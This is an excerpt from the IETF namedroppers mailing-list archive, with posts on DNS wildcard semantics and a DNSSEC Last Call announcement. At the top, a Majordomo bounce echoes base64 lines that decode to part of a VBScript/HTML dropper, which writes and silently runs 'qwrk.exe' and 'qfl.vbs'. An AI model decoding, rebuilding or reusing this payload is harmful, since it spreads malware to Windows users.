>>>> MTkzLDEyMiwxNDEsOTIsOTMsMzgsNjgsMjcsMTkwLDEzMiwxOTQsMTkxLDIwLDE3LDksMCwx **** Command 'mtkzldeymiwxndesotisotmsmzgsnjgsmjcsmtkwldezmiwxotqsmtkxldiwlde3ldksmcwx' not recognized. >>>> NSwxMDUsODQsMTU0LDEwOSw4MCw0NCw3MSwxMDEsNDQsMTk2LDE3Nyw4NCw0NSwxNjksMTMx **** Command 'nswxmdusodqsmtu0ldewosw4mcw0ncw3mswxmdesndqsmtk2lde3nyw4ncw0nswxnjksmtmx' not recognized. >>>> LDEzNCw4OCw4NywxNTIsMzQsNzcsMTkyLDQ1LDE3LDM2LDkxLDE5OCw0OCw1MSwxNDYsMTA3 **** Command 'ldezncw4ocw4nywxntismzqsnzcsmtkyldq1lde3ldm2ldkxlde5ocw0ocw1mswxndysmta3' not recognized. >>>> LDI2LDEyNSw2NCwxMzQsMjUsMTExLDEyMSw5OCwxMDMsMTM1LDExNywxMDQsMTAxLDE3NCwx **** Command 'ldi2ldeynsw2ncwxmzqsmjusmtexldeymsw5ocwxmdmsmtm1ldexnywxmdqsmtaxlde3ncwx' not recognized. >>>> MTcsNjksMTU3LDEzMyw1MSw0Nyw0NSwzLDU4LDE3OSw5NCwxNCwxOTMsMTQ1LDE0Miw3NSwx **** Command 'mtcsnjksmtu3ldezmyw1msw0nyw0nswzldu4lde3osw5ncwxncwxotmsmtq1lde0miw3nswx' not recognized. >>>> MDAsMTcsMTMwLDUyLDc3LDE3MywxMTcsMTE2LDE1MCwxODQsMTEsMTkzLDQ3LDc2LDEwNyw1 **** Command 'mdasmtcsmtmwlduyldc3lde3mywxmtcsmte2lde1mcwxodqsmtesmtkzldq3ldc2ldewnyw1' not recognized. >>>> MywzNyw0MSwxOTksNDcsMTA1LDEzMCwxMzgsOTAsODEsMTI2LDEyMywxOTMsNzAsODEsMTA1 **** Command 'mywznyw0mswxotksndcsmta1ldezmcwxmzgsotasodesmti2ldeymywxotmsnzasodesmta1' not recognized. >>>> LDE0NSwyOCwxNTgsMTI5LDExNSwxNzEsNDcsNjEsMjcsNTAsMTUyLDEwMSwxNzMsMTg2LDE5 **** Command 'lde0nswyocwxntgsmti5ldexnswxnzesndcsnjesmjcsntasmtuyldewmswxnzmsmtg2lde5' not recognized. >>>> MywxOTEsNzYsMTk3LDE2OSw3Niw3NiwyMiw3MiwzNywxMjMsMTk4LDEwMyw2OCwxNjMsNSwx **** Command 'mywxotesnzysmtk3lde2osw3niw3niwymiw3miwznywxmjmsmtk4ldewmyw2ocwxnjmsnswx' not recognized. >>>> NTMsMjIsMzUsMzIsMjcsNjMsNDAsMTU5LDYyLDEzMSw3NCwxMjEsOCw3MSwxOTEsMTM4LDE5 **** Command 'ntmsmjismzusmzismjcsnjmsndasmtu5ldyyldezmsw3ncwxmjesocw3mswxotesmtm4lde5' not recognized. >>>> NiwxNjMsNzYsOTYsMTYyLDM0LDY4LDE4LDY5LDgxLDEwNiwzNiwyNSwxODAsNiw2NCwxMjAs **** Command 'niwxnjmsnzysotysmtyyldm0ldy4lde4ldy5ldgxldewniwzniwynswxodasniw2ncwxmjas' not recognized. >>>> MTMwLDEzOCw4MCw5OSw2LDEyMSwzLDEyMiw0NCwxMTUsMzYsMTM1LDE2Miw5Myw2NSw0MSw1 **** Command 'mtmwldezocw4mcw5osw2ldeymswzldeymiw0ncwxmtusmzysmtm1lde2miw5myw2nsw0msw1' not recognized. >>>> MiwxMTUsMTk1LDkwLDEwMCwxNzEsNSwxNzcsMTA0LDMwLDkzLDM0LDE2MSwxMjcsMTQyLDEy **** Command 'miwxmtusmtk1ldkwldewmcwxnzesnswxnzcsmta0ldmwldkzldm0lde2mswxmjcsmtqyldey' not recognized. >>>> NCwxNzcsNjIsMTMxLDcwLDU1LDE2Miw4MSw2OCwxNjAsMTE1LDcsNjksMTUyLDc4LDE2Niwz **** Command 'ncwxnzcsnjismtmxldcwldu1lde2miw4msw2ocwxnjasmte1ldcsnjksmtuyldc4lde2niwz' not recognized. >>>> Nyw4NiwxNTcsMTU5LDU0LDYxLDUxLDUxLDE0Miw2Niw3Myw4LDE4MCw3MiwxODksNzksNTgs **** Command 'nyw4niwxntcsmtu5ldu0ldyxlduxlduxlde0miw2niw3myw4lde4mcw3miwxodksnzksntgs' not recognized. >>>> MTUxLDE5OCwxMDIsMTU0LDc1LDgzLDE3NCwxNjgsMTg3LDI0LDExMSwxNTksMTY0LDU5LDE1 **** Command 'mtuxlde5ocwxmdismtu0ldc1ldgzlde3ncwxnjgsmtg3ldi0ldexmswxntksmty0ldu5lde1' not recognized. >>>> MiwxMDcsMTY4LDg1LDQzLDE3MywxNTAsNzEsMTgyLDE3MSw5NCwxNjUsNTEsMTIzLDEwNyw1 **** Command 'miwxmdcsmty4ldg1ldqzlde3mywxntasnzesmtgylde3msw5ncwxnjusntesmtizldewnyw1' not recognized. >>>> NCwxODMsMjIsMTIzLDc3LDE2MSwxMzUsMTQsNTIsODYsMjcsNDIsNjUsMTcxLDMwLDgsNjcs **** Command 'ncwxodmsmjismtizldc3lde2mswxmzusmtqsntisodysmjcsndisnjusmtcxldmwldgsnjcs' not recognized. >>>> MTgzLDE5OCwxODQsMTQwLDU3LDE3OSw3NiwxOSwxMzMsMTE4LDEsMTYxLDc5LDM2LDYsOTEs **** Command 'mtgzlde5ocwxodqsmtqwldu3lde3osw3niwxoswxmzmsmte4ldesmtyxldc5ldm2ldysotes' not recognized. >>>> MTM0LDE1OSwyMywxNzAsMTYyLDExMCwxNTgsMTAxLDE2OSwyNSwxLDE4MCwxNTgsMTUwLDU2 **** Command 'mtm0lde1oswymywxnzasmtyyldexmcwxntgsmtaxlde2oswynswxlde4mcwxntgsmtuwldu2' not recognized. >>>> LDE0NCwzNSwxNTUsOTQsMzQsMTk1LDkzLDI4LDE0MiwxNzAsODUsMjcsNzQsMTk5LDIsNTQs **** Command 'lde0ncwznswxntusotqsmzqsmtk1ldkzldi4lde0miwxnzasodusmjcsnzqsmtk5ldisntqs' not recognized. >>>> MTk1LDEyLDE2Niw3NywxODEsMTU5LDM5LDMwLDE2OCwxOTUsMTEsMTMyLDEzNSw2NSw3MSw4 **** Command 'mtk1ldeylde2niw3nywxodesmtu5ldm5ldmwlde2ocwxotusmtesmtmyldeznsw2nsw3msw4' not recognized. >>>> LDEwNywxMzYsMzUsMTY3LDQ3LDE1MiwzMSwxMTUsMTYyLDEyNCwwLDE4Myw1NSwxNDUsMTIw **** Command 'ldewnywxmzysmzusmty3ldq3lde1miwzmswxmtusmtyyldeyncwwlde4myw1nswxndusmtiw' not recognized. >>>> LDk3LDExMiwxOTQsMTIyLDU5LDEyNSw3NCwxNzksMTU3LDEzNyw2NCwxNzEsMTAsMTEsMjks **** Command 'ldk3ldexmiwxotqsmtiyldu5ldeynsw3ncwxnzksmtu3ldeznyw2ncwxnzesmtasmtesmjks' not recognized. >>>> MTM1LDI5LDEzOCw2Miw0NywwLDMxLDM3LDE2MiwyNSwxNzMsOTQsMTkzLDEwLDY2LDE0Niwx **** Command 'mtm1ldi5ldezocw2miw0nywwldmxldm3lde2miwynswxnzmsotqsmtkzldewldy2lde0niwx' not recognized. >>>> NzUsOTUsNTUsODMsMTQ3LDE5MSw4NCwxNzksMTgsMTA4LDE2NywxOTEsNzMsMTc4LDUzLDYy **** Command 'nzusotusntusodmsmtq3lde5msw4ncwxnzksmtgsmta4lde2nywxotesnzmsmtc4lduzldyy' not recognized. >>>> LDksMTkyLDgxLDE3NSwxMDYsMTAzLDE1NSwxMzcsOTYsMTYsOTIsMSwxNDcsOTEsMjAsNzIs **** Command 'ldksmtkyldgxlde3nswxmdysmtazlde1nswxmzcsotysmtysotismswxndcsotesmjasnzis' not recognized. >>>> MSwyNSw0MCw1OSwxMDUsNjksMTA5LDEwLDMxLDE5MiwxMTksMzAsMTksMywxNzEsMTE0LDk1 **** Command 'mswynsw0mcw1oswxmdusnjksmta5ldewldmxlde5miwxmtksmzasmtksmywxnzesmte0ldk1' not recognized. >>>> LDEwNSwxMSwxMTIsMjYpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJmb3IgaT0wIHRvIDIwNTkw **** Command 'ldewnswxmswxmtismjypiiamihziy3jszg0kvfnplndyaxrlicjmb3igat0wihrvidiwntkw' not recognized. >>>> IiAmIHZiY3JsZg0KVFNPLndyaXRlICJmaWxldHh0LldyaXRlKGNocihhKGkpKSkiICYgdmJj **** Command 'iiamihziy3jszg0kvfnplndyaxrlicjmawxldhh0lldyaxrlkgnocihhkgkpkskiicygdmjj' not recognized. >>>> cmxmDQpUU08ud3JpdGUgIm5leHQiICYgdmJjcmxmDQpUU08ud3JpdGUgImZpbGV0eHQuQ2xv **** Command 'cmxmdqpuu08ud3jpdgugim5lehqiicygdmjjcmxmdqpuu08ud3jpdgugimzpbgv0ehquq2xv' not recognized. >>>> c2UiICYgdmJjcmxmDQpUU08ud3JpdGUgImRpbSB6IiAmIHZiY3JsZg0KVFNPLndyaXRlICJk **** Command 'c2uiicygdmjjcmxmdqpuu08ud3jpdgugimrpbsb6iiamihziy3jszg0kvfnplndyaxrlicjk' not recognized. >>>> aW0genoiICYgdmJjcmxmDQpUU08ud3JpdGUgIkNvbnN0IEZvclJlYWRpbmcgPSAxLCBGb3JX **** Command 'aw0genoiicygdmjjcmxmdqpuu08ud3jpdgugiknvbnn0iezvcljlywrpbmcgpsaxlcbgb3jx' not recognized. >>>> cml0aW5nID0gMiwgRm9yQXBwZW5kaW5nID0gMyIgJiB2YmNybGYNClRTTy53cml0ZSAiY29u **** Command 'cml0aw5nid0gmiwgrm9yqxbwzw5kaw5nid0gmyigjib2ymnybgynclrtty53cml0zsaiy29u' not recognized. >>>> c3QgUmVtb3RlRXhlID0gIiJxd3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJzZXQg **** Command 'c3qgumvtb3rlrxhlid0giijxd3jrlmv4zsiiiiamihziy3jszg0kvfnplndyaxrlicjzzxqg' not recognized. >>>> enogPSB3c2NyaXB0LmNyZWF0ZW9iamVjdCgiIndzY3JpcHQuc2hlbGwiIikiICYgdmJjcmxm **** Command 'enogpsb3c2nyaxb0lmnyzwf0zw9iamvjdcgiindzy3jpchquc2hlbgwiiikiicygdmjjcmxm' not recognized. >>>> DQpUU08ud3JpdGUgInogPSB6ei5ydW4gKCIicXdyay5leGUiIikiICYgdmJjcmxmDQpUU08u **** Command 'dqpuu08ud3jpdguginogpsb6ei5ydw4gkciicxdyay5leguiiikiicygdmjjcmxmdqpuu08u' not recognized. >>>> d3JpdGUgIndzY3JpcHQucXVpdCIgJiB2YmNybGYNClNldCBUU08gPSBOb3RoaW5nDQpTZXQg **** Command 'd3jpdgugindzy3jpchqucxvpdcigjib2ymnybgynclnldcbuu08gpsbob3roaw5ndqptzxqg' not recognized. >>>> RlNPID0gTm90aGluZw0KRGltIFdzaFNoZWxsDQpTZXQgV3NoU2hlbGwgPSBDcmVhdGVPYmpl **** Command 'rlnpid0gtm90agluzw0krgltifdzafnozwxsdqptzxqgv3nou2hlbgwgpsbdcmvhdgvpympl' not recognized. >>>> Y3QoIldTY3JpcHQuU2hlbGwiKQ0KV3NoU2hlbGwuUnVuICJxZmwudmJzIiwgMCwgZmFsc2UN **** Command 'y3qoildty3jpchquu2hlbgwikq0kv3nou2hlbgwuunvuicjxzmwudmjziiwgmcwgzmfsc2un' not recognized. >>>> CjwvU0NSSVBUPg0KPHNjcmlwdD53aW5kb3cuY2xvc2UoKTwvc2NyaXB0Pg0KPC9IRUFEPg0K **** Command 'cjwvu0nssvbupg0kphnjcmlwdd53aw5kb3cuy2xvc2uoktwvc2nyaxb0pg0kpc9irufepg0k' not recognized. >>>> PC9IVE1MPg== **** Command 'pc9ive1mpg==' not recognized. >>>> >>>> ----------jbwyugkgucjrrnylblnz-- **** Command '----------jbwyugkgucjrrnylblnz--' not recognized. >>>> >>>> **** No valid commands found. **** Commands must be in message BODY, not in HEADER. **** Help for majordomo@psg.com: This help message is being sent to you from the Majordomo mailing list management system at majordomo@psg.com. This is version 1.94.5 of Majordomo. If you're familiar with mail servers, an advanced user's summary of Majordomo's commands appears at the end of this message. Majordomo is an automated system which allows users to subscribe and unsubscribe to mailing lists, and to retrieve files from list archives. You can interact with the Majordomo software by sending it commands in the body of mail messages addressed to "majordomo@psg.com". Please do not put your commands on the subject line; Majordomo does not process commands in the subject line. You may put multiple Majordomo commands in the same mail message. Put each command on a line by itself. If you use a "signature block" at the end of your mail, Majordomo may mistakenly believe each line of your message is a command; you will then receive spurious error messages. To keep this from happening, either put a line starting with a hyphen ("-") before your signature, or put a line with just the word end on it in the same place. This will stop the Majordomo software from processing your signature as bad commands. Here are some of the things you can do using Majordomo: I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM To get a list of publicly-available mailing lists on this system, put the following line in the body of your mail message to majordomo@psg.com: lists Each line will contain the name of a mailing list and a brief description of the list. To get more information about a particular list, use the "info" command, supplying the name of the list. For example, if the name of the list about which you wish information is "demo-list", you would put the line info demo-list in the body of the mail message. II. SUBSCRIBING TO A LIST Once you've determined that you wish to subscribe to one or more lists on this system, you can send commands to Majordomo to have it add you to the list, so you can begin receiving mailings. To receive list mail at the address from which you're sending your mail, simply say "subscribe" followed by the list's name: subscribe demo-list If for some reason you wish to have the mailings go to a different address (a friend's address, a specific other system on which you have an account, or an address which is more correct than the one that automatically appears in the "From:" header on the mail you send), you would add that address to the command. For instance, if you're sending a request from your work account, but wish to receive "demo-list" mail at your personal account (for which we will use "jqpublic@my-isp.com" as an example), you'd put the line subscribe demo-list jqpublic@my-isp.com in the mail message body. Based on configuration decisions made by the list owners, you may be added to the mailing list automatically. You may also receive notification that an authorization key is required for subscription. Another message will be sent to the address to be subscribed (which may or may not be the same as yours) containing the key, and directing the user to send a command found in that message back to majordomo@psg.com. (This can be a bit of extra hassle, but it helps keep you from being swamped in extra email by someone who forged requests from your address.) You may also get a message that your subscription is being forwarded to the list owner for approval; some lists have waiting lists, or policies about who may subscribe. If your request is forwarded for approval, the list owner should contact you soon after your request. Upon subscribing, you should receive an introductory message, containing list policies and features. Save this message for future reference; it will also contain exact directions for unsubscribing. If you lose the intro mail and would like another copy of the policies, send this message to majordomo@psg.com: intro demo-list (substituting, of course, the real name of your list for "demo-list"). III. UNSUBSCRIBING FROM MAILING LISTS Your original intro message contains the exact command which should be used to remove your address from the list. However, in most cases, you may simply send the command "unsubscribe" followed by the list name: unsubscribe demo-list (This command may fail if your provider has changed the way your address is shown in your mail.) To remove an address other than the one from which you're sending the request, give that address in the command: unsubscribe demo-list jqpublic@my-isp.com In either of these cases, you can tell majordomo@psg.com to remove the address in question from all lists on this server by using "*" in place of the list name: unsubscribe * unsubscribe * jqpublic@my-isp.com IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED To find the lists to which your address is subscribed, send this command in the body of a mail message to majordomo@psg.com: which You can look for other addresses, or parts of an address, by specifying the text for which Majordomo should search. For instance, to find which users at my-isp.com are subscribed to which lists, you might send the command which my-isp.com Note that many list owners completely or fully disable the "which" command, considering it a privacy violation. V. FINDING OUT WHO'S SUBSCRIBED TO A LIST To get a list of the addresses on a particular list, you may use the "who" command, followed by the name of the list: who demo-list Note that many list owners allow only a list's subscribers to use the "who" command, or disable it completely, believing it to be a privacy violation. VI. RETRIEVING FILES FROM A LIST'S ARCHIVES Many list owners keep archives of files associated with a list. These may include: - back issues of the list - help files, user profiles, and other documents associated with the list - daily, monthly, or yearly archives for the list To find out if a list has any files associated with it, use the "index" command: index demo-list If you see files in which you're interested, you may retrieve them by using the "get" command and specifying the list name and archive filename. For instance, to retrieve the files called "profile.form" (presumably a form to fill out with your profile) and "demo-list.9611" (presumably the messages posted to the list in November 1996), you would put the lines get demo-list profile.form get demo-list demo-list.9611 in your mail to majordomo@psg.com. VII. GETTING MORE HELP To contact a human site manager, send mail to Majordomo-Owner@psg.com. To contact the owner of a specific list, send mail to that list's approval address, which is formed by adding "-approval" to the user-name portion of the list's address. For instance, to contact the list owner for demo-list@psg.com, you would send mail to demo-list-approval@psg.com. To get another copy of this help message, send mail to majordomo@psg.com with a line saying help in the message body. VIII. COMMAND SUMMARY FOR ADVANCED USERS In the description below items contained in []'s are optional. When providing the item, do not include the []'s around it. Items in angle brackets, such as <address>, are meta-symbols that should be replaced by appropriate text without the angle brackets. It understands the following commands: subscribe <list> [<address>] Subscribe yourself (or <address> if specified) to the named <list>. unsubscribe <list> [<address>] Unsubscribe yourself (or <address> if specified) from the named <list>. "unsubscribe *" will remove you (or <address>) from all lists. This _may not_ work if you have subscribed using multiple addresses. get <list> <filename> Get a file related to <list>. index <list> Return an index of files you can "get" for <list>. which [<address>] Find out which lists you (or <address> if specified) are on. who <list> Find out who is on the named <list>. info <list> Retrieve the general introductory information for the named <list>. intro <list> Retrieve the introductory message sent to new users. Non-subscribers may not be able to retrieve this. lists Show the lists served by this Majordomo server. help Retrieve this message. end Stop processing commands (useful if your mailer adds a signature). Commands should be sent in the body of an email message to "majordomo@psg.com". Multiple commands can be processed provided each occurs on a separate line. Commands in the "Subject:" line are NOT processed. If you have any questions or problems, please contact "Majordomo-Owner@psg.com". -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: =?iso-8859-1?Q?=D3lafur?= =?iso-8859-1?Q?_Gu=F0mundsson?= <ogud@ogud.com> Subject: Re: Majordomo results: Re: Hello Date: Thu, 02 Sep 2004 16:23:43 -0400 Lines: 22 Sender: owner-namedroppers@ops.ietf.org References: <E1C2xfB-000K1v-Mx@psg.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:33:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: post@localhost (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6 To: namedroppers@ops.ietf.org In-Reply-To: <E1C2xfB-000K1v-Mx@psg.com> References: <E1C2xfB-000K1v-Mx@psg.com> X-Scanned-By: MIMEDefang 2.44 Precedence: bulk At 15:54 02/09/2004, majordomo@psg.com wrote: > [ Moderators note: Post was moderated, either because it was posted by > a non-subscriber, or because it was over 20K. > With the massive amount of spam, it is easy to miss and therefore > delete relevant posts by non-subsrcibers. Please fix your > subscription addresses. ] Apologies for approving the wrong message. I was trying to approve a different message but messed up please forgive me and delete the message. Olafur -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Fri, 03 Sep 2004 04:40:13 +0700 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <a06020410bd5d2ac62262@[192.168.1.100]> <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 23:52:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020410bd5d2ac62262@[192.168.1.100]> Precedence: bulk Date: Thu, 2 Sep 2004 16:13:39 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020410bd5d2ac62262@[192.168.1.100]> | We moved IQUERY to historic. Yes, because that was broken as specified and simply didn't, and couldn't work. We can move anything else like that to historic as well. But one domain name is the same as any other domain name, they all work just the same way - if it is OK to move one to historic (or "make it illegal") it has to be just as OK to do the same to any other arbitrary domain name. | Then I think I've wasted a lot of bit's on this. Yes, sorry - but I think we mostly (or completely) agree on how the things actually work. The question is just whether there's anything needs to be changed to clear up the misunderstandings that exist. I still say no. No changes, just explanation. (The CNAME proposed change is for other reasons). | From what I've heard, the WG disagrees with this line of reasoning. I'd like to hear from other members of the WG now. In the past couple of days at least, there has been nothing (on this topic) from anyone except the two of us... (since I started in on it anyway). So, after this message, I'll go back to hibernate state for a while I think (unless someone says something outrageous...) | Just because something is legal doesn't mean it has to remain legal. No, as I said before, things can be changed - but we really have to be very certain that the change is essential to do that kind of thing. | >No, no matter what we do, the planned interpretation does not, and | >cannot, ever work. That would take a major redefinition of the DNS | >lookup algorithms to accomplish, plus deployment of modified servers | >all over the place. Not likely. | | I don't see restricting the names having anything to do with the | resolver side. No, nor do I (unless of course there's someone somewhere actually doing lookups of names with '*' (literal) labels in them which you're proposing to prevent working). Note I said "deployment of modified servers", nothing there about resolvers. Also note that the entire name lookup algorithm occurs within servers, the resolvers do none of it (they just hand off the name they're seeking to one server after another, as they're instructed, until they eventually either get an answer (positive or negative) or decide to give up trying. | In addition (in answer to something I dropped) RFC 1034, 4.3.3. already says: | <anydomain> should not contain other * labels... Ok, I see that. | which is a name restriction already. Maybe, that's a section describing wildcard processing, not legal names, so I think that can be argued either way. That throw away remark doesn't seem to have any impact on anything, and most likely shouldn't be there at all. | It seems to me that there was | an intent to restrict names involving wild cards. I think it is important that we're clear that a '*' name is only a wildcard when it is being used that way as part of the lookup algorithm. Otherwise it is simply an ordinary domain name. When a server sees a '*' label in a zone file, there's no way it can tell which of those two ways it will actually get used. It may presume it is likely to be used as a wildcard, as if a wildcard is needed, it is there to fill the role - but if no-one ever does a lookup of a non-existing name (yeah - I know - not a likely assumption, but nevertheless) then it would never be used as a wildcard - whereas if there are lookups for the literal '*' it is being used as an ordinary domain name label. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: The IESG <iesg-secretary@ietf.org> Subject: Last Call: 'DNS Security Introduction and Requirements' to Proposed Standard Date: Fri, 03 Sep 2004 17:46:31 -0400 Lines: 25 Sender: owner-namedroppers@ops.ietf.org Reply-To: iesg@ietf.org Cc: <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Sat Sep 04 00:09:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-test-idtracker: no To: IETF-Announce <ietf-announce@ietf.org> Precedence: bulk The IESG has received a request from the DNS Extensions WG to consider the following documents: - 'Protocol Modifications for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-protocol-07.txt> as a Proposed Standard - 'DNS Security Introduction and Requirements ' <draft-ietf-dnsext-dnssec-intro-11.txt> as a Proposed Standard - 'Resource Records for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-records-09.txt> as a Proposed Standard The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2004-09-17. The file can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-07.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-11.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-09.txt -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Kevin Darcy <kcd@daimlerchrysler.com> Subject: Re: more wild cards Date: Fri, 03 Sep 2004 21:56:23 -0400 Lines: 211 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Sat Sep 04 04:06:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701 X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <3659.1094156279@munnari.OZ.AU> Precedence: bulk I think one major bit of "looseness" that needs to be addressed here is that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names _beginning_ with an asterisk label, whereas the lookup algorithm of Section 4.3.2 talks about "matching down, label by label", when to look for an asterisk label, and what to do if one is found, without any limitations on whether the asterisk label is the first one in an owner name or not. So the whole class of owner names containing _non-terminal_ asterisk labels is in a kind of twilight zone, able, presumably, to affect the lookup algorithm *functionally* in a wildcard-like way, but yet not "wildcards" under the *structural* definition of Section 4.3.3. In particular, this leaves completely open whether Section 4.3.3's prohibition (assuming one reads its "should not contain" in more modern terms as "MUST NOT contain") of "wildcards" with multiple asterisk labels in their name means that asterisk labels contained in *all* multiple-asterisk-label-containing owner names, including names where the first label is something other than a lone asterisk, are thereby excluded from the "special" behavior that asterisk labels have within the lookup algorithm. If the intent was for only "wildcards" to have the special effect on the lookup algorithm, it would have been helpful for the algorithm description to have at least used the word. Were these sections written at different times, or cribbed from different sources? They seem rather disconnected from each other, despite their textual adjacency in the RFC... - Kevin Robert Elz wrote: > Date: Thu, 2 Sep 2004 11:08:25 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020407bd5ce15f1169@[192.168.1.100]> > > | We restrict names that have CNAME to be exclusively that ('cept for > | DNSSEC records) and then just one CNAME RR. We restrict some name > | to have just 1 SOA RR. > >Sorry, how is this in any way relevant. There are lots of various >restrictions in the DNS as it was originally defined, that's fine. >There never were any restrictions on the values of the octets in any >name labels however - none at all for any uses at all - and there's >no reason at all to start adding any. > > | There's nothing in the current specifications that prevent "* NS" > | now. > >No, of course there isn't, and nor is there any reason for there to be. > > | The WG seems to be moving towards formalizing the prevention. > >No, the WG is (seems to be) confused. What the WG wants to prevent >is a '* NS' meaning "all domain names, other than those explicitly in >the zone, are delegated to ..." > >But there's no need to do that, that usage of '* NS' is already absent. > >That is, while there's no text in 1034 that explicitly says this doesn't >work in quite those explicit terms, there is absolutely nothing in the >lookup algorithm which could conceivably allow it to work. > >The only way a '* NS' RR will ever be used is when someone is either > a) doing an explicit lookup for a qname that includes a '*' > label at the appropriate point to match (in which case there > is no wildcard at all, just yet another 1 octet label, the '*' > is no different at all to an 'x' or a ':' (or for that matter, > even a '.'). > b) doing a query of type NS for a name that isn't in the zone. > Then the '*' will match as a wildcard. This is harmless. > > | Looking at the discussion - I see a swell of support for formally > | banning the holding of NS and SOA at the * label. > >I don't. What I saw was a swell of support for not making dynamic >zone creation work by the addition of some wildcard magic. That's >something different - to do it would actually require changes to the >lookup algorithms (something like is being proposed for CNAME, but of >a more radical nature). > >I know that there are people who believe that a '* NS' record somehow >might be a wildcard delegation - but they're simply mistaken. There is >no such thing in the DNS as it exists, and we don't need to change anything >to prevent that interpretation. > >Making '* NS' illegal would simply be making one special case name that >can own any other record type, but cannot be delegated, unlike every >other name that ever might exist. > > | As much as I can > | rationalize, leaving them legal does no harm in the sense that the > | protocol isn't harmed. > >But making them illegal makes a silly special case, for which >there is no justification. > > | But, by leaving them legal we open up the > | documents to widely speculative interpretations (such as what > | happened in MARID regarding internal wild cards) > >Yes, we need to make it clear how the things work. That's why we need >this clarifications doc. We don't need to change anything to explain it. > > | and we create gray areas and corner cases. > >No, there are no grey areas, and no corner cases here, everything is simple. > >It is just confusing as people keep treating the '*' in a DNS zone >(or domain name) as if it were a '*' (or perhaps .*) in a regular >expression (or perhaps closer, a '*' in a glob pattern). We just >need to make it clear that it is nothing like any of that. There >is no pattern matching going on here at all. > > | Exactly what I've discovered in my research. And, because of your > | last line, I think the WG wants to see the ban on * SOA and *NS in > | place. To make it clear to newcomers to "don't go there." > >But that's the wrong method. This is just as crazy as the earlier >attempts to restrict domain names to the old hosts.txt syntax. We >don't have to do anything like that. > >We just need to explain how it works - clearly - and with examples. > > | Look at what we did for the DS RR set. We changed the data lookup > | algorithm to make the answer come from the parent. > >Yes, that's OK, that kind of thing is possible - changes can be made >when there's a very good reason, and when you can be confident that >nothing is going to break because of the change - which might not be >as difficult when you're doing something completely new. > > | Here, we can say "the answer to a * NS query is noerror/nodata." We > | can most easily enforce this by refusing to allow "*NS" into the > | server. That's better than putting in other road blocks. > >But we don't need to do a thing. That's what I am trying to make clear. >The spec as it is already provides all the right answers in this area. > >The only problem is that almost no-one reads the spec, rather they just >jump to conclusions. That isn't a good reason for making changes. > > | Let's say we discover that there's a use for "* NS". > >There already is. It is used to delegate the '*' sub-domain. >What else could it possibly mean? > > | I really think that when it comes to securing critical infrastructure > | like DNS, we want to clamp down on it's looseness with out making it > | brittle. > >There is nothing loose here, it is already precisely defined. As we >agreed earlier, the only problem is how people misinterpret it, not >how things are specified. When that's the problem, the answer is >to correct the interpretation, not to change the spec. > > | I do share the concern that laying down "rules" is dangerous for > | future growth. > >Here I think you're (and here I really mean the singular "you" - ye??) still >imagining that there can somehow be some way of wildcard auto zone >generation/delegation, not now perhaps, but sometime in the future. > >There cannot be - or not without a major redesign of the DNS lookup >algorithms (if that were ever to be attempted, it might possibly not >even be '*' that's used as the magic token for this purpose). > > | But, the case is being made that we want the DNS to be much more clear, > | understandable to folks that coming to the table later in the > | development of the Internet. > >Yes, absolutely, and this part I agree with. But the way to make things >clear isn't to introduce more special case rules. It is to simply >explain things better, so they can be understood properly. > > | When I talked to MARID in May, at their interim meeting, they did not > | want an engineering discussion of DNS, they wanted "can/can't". > >Sure, and the answer is "can't". If they don't want the 